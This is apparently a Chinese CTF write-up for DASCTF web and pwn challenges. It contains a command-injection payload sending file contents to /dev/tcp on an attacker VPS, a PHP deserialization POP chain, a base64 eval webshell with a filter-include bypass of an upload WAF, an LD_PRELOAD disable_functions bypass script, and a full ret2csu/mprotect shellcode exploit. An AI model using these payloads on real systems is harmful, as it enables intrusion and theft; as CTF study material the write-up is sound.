dasctf wp&复现

Web

calc

利用 os.system(log) ,反引号执行子命令
开头1#注释绕过eval,末尾<绕过重定向,制表符绕过空格,最后cat /*重定向到vps上
num=1%23%60cat%09/%2A%60%3E/dev/tcp/vpsip/2333%3C

ezpop

换行绕最后的#,flag在当前目录

$fin1=new fin();
$what=new what();
$fin2=new fin();
$crow=new crow();
$fin3=new fin();
$mix=new mix();
$mix->m1="\r\nsystem('cat ./*');";
$fin3->f1=$mix;
$crow->v1=$fin3;
$fin2->f1=$crow;
$what->a=$fin2;
$fin1->f1=$what;
$str=urlencode( serialize($fin1));
echo $str;

upgdstore

题目提供了上传文件的接口(只能上传php)。传一个phpinfo可以看到1mol的disable functions...
由于后续每次传文件太麻烦,先来写个小马马
上传的文件内容有waf

function fun($var): bool{
    $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv",
				  "system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];

    foreach($blacklist as $blackword){
        if(strstr($var, $blackword)) return True;
    }

    
    return False;
}

对于这个waf,一般的函数可以字符串拼接绕过,但php8下eval和assert都不能拼。可以利用strstr大小写不敏感绕过。
但是美元也过滤了,不好写$_POST
学长们打了个gd库二次渲染上传文件,然而有更简单的方法:
写一个base.php,内容是base64编码的木马
再写一个shell.php,include另一个base.php,include的时候用Php filter解码
tools.php

<?php
$trojan="<?php eval(\$_POST['1']);?>";
// echo base64_encode($trojan);
$text="php://filter/convert.base64-decode/resource=22b1ffa797ed0997a20765c7cf8a6549.php";
echo base64_encode($text);

base.php

PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4=

shell.php

<?php
Include(base64_decode('cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0yMmIxZmZhNzk3ZWQwOTk3YTIwNzY1YzdjZjhhNjU0OS5waHA='));

上传base和shell后,🐎就可以用了。
(试了下data协议,服务器禁用了)

由于disable functions太多,蚁剑用不了。看了看putenv没被禁。考虑LD_PRELOAD加载so文件。

首先得先解决传任意文件,题目的接口有很多限制,一是上面说的waf,另一个是后缀名

//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}
$content = file_get_contents($temp_file);
if(fun($content)){
    die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;


        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
            die();
        }
        echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}

利用没被禁用的move_uploaded_file可以上传。
编写so时,重写geteuid函数可行,64位。然后脚本发包

from importlib.metadata import files
import requests
from urllib.parse import *
url="http://9cc760e1-af97-490b-9096-9d6904a90a24.node4.buuoj.cn:81/uploads/25a452927110e39a345a2511c57647f2.php"
def upload(filename,local,cmd):
    real_cmd=f"move_uploaded_file($_FILES['upload_file']['tmp_name'],'{filename}');"+cmd
    data={"1":real_cmd}
    print(real_cmd) 
    files={"upload_file":open(local,'rb')}
    r=requests.post(url=url,data=data,files=files)
    print(r.text)
if __name__=='__main__':
    cmd=(
        "putenv('LD_PRELOAD=/var/www/html/hack.so');"
        +'mail("[email protected]","","","","");'
        +'echo 1;'
    )
    # upload('./text.txt','text.txt',cmd)
    upload('/var/www/html/hack.so','all.so',cmd)

弹shell之后发现flag要root。。这个真不会,misc爹浇浇...
这之后怎么做具体看erroratao

pwn

checkin

难难 菜菜 QwQ
qRpaQg.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[160]; // [rsp+0h] [rbp-A0h] BYREF

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  read(0, buf, 0xB0uLL);
  return 0;
}

思路:
只能溢出16字节,先考虑栈迁移到bss上rop
没有write函数啥的,不好泄露libc
可以在bss上ret2shellcode
bss没有x权限,先调mprotect
mprotect是glibc的函数,可以syscall调用
syscall的调用号需要rax=10,一般64位系统函数返回值保存在rax上,可以调用read控制
调syscall的方法:修改read got表,call read时跳转到read+16的位置
qRpWy4.png
要爆破一下低16位,本地调的时候可以关下aslr

具体实现如下:

  • 栈迁移,传统的栈迁移要写3个地址单位,这里只有2个。但是这题的main函数为我们提供了read;leave_ret,返回地址写成main函数的read也可以达到栈迁移的效果。
    qR9KhV.png
    可以看到main函数的read是由rbp确定其*buf参数的。可以先转移rbp。

  • bss上的栈要完成:转移rsp,写shellcode,调read控制rax的同时修改read got表。这些都得借助ret2csu完成
    这个栈好复杂。。大概画个图
    qR9GnJ.png

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p=process('./checkin')

# gdb.attach(p,'\
# b * 0x401239\
# ')
# pause()
#watch $rsp==0x4040c8
'''
int read(int fd,void *buf,int len);
int mprotect(void *addr, size_t len, int prot);
rdi, rsi, rdx
'''
csu_low=0x401230
csu_high=0x40124A

def csu(edi, rsi, rdx,call,ret,padding=0x38):
    pay=p64(csu_high)+p64(0)+p64(1)+p64(edi)+p64(rsi)+p64(rdx)+p64(call)
    pay+=p64(csu_low)
    pay+=b'a'*padding+p64(ret)
    return pay

bss1=0x404000+200+160
main_read=0x4011BF
pay1=(
    b'a'*0xa0
    +p64(bss1)
    +p64(main_read)
)
p.send(pay1)

# watch $rsp==0x4040c8
pay3_head=0x404148-8   #动调
read_addr=0x404018 # got
leave_ret_addr=0x00000000004011e2
csu2=csu(0,pay3_head,0x300,read_addr,csu_high,0x30) #read(0,pay3_head,0x300)
pay2=(
    csu2.ljust(160,b'\x00')
    +p64(bss1-160-8)#leave ret rsp多+8一次
    +p64(leave_ret_addr)
)
p.send(pay2)
# p.send(b'b'*0x300)

shellcode_addr=0x404238 #动调
shellcode=asm(shellcraft.sh())

csu3=csu(0,read_addr-8,10,read_addr,csu_high,0x30)#read(0,read_addr-8,10)

csu4=csu(0x404000,0x1000,7,read_addr,shellcode_addr)# mprotect(0x404000, 0x1000, 7)

pay3=(
    csu3
    +csu4
    +shellcode
).ljust(0x300,b'\x00')
p.send(pay3)

pay4=b'\x00'*8+p16(0x1000)
p.send(pay4)
p.interactive()

用到的新知识(对本菜鸡来说)
栈迁移
https://cloud.tencent.com/developer/article/1601192
ret2csu
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/#ret2csu

另外,这题可以通过使用add [rbp-0x3d], ebx; ret,将setvbuf@got修改为puts的地址,可以看看这位师傅的wp

posted @ 2022-03-30 23:43  KingBridge  阅读(193)  评论(0编辑  收藏  举报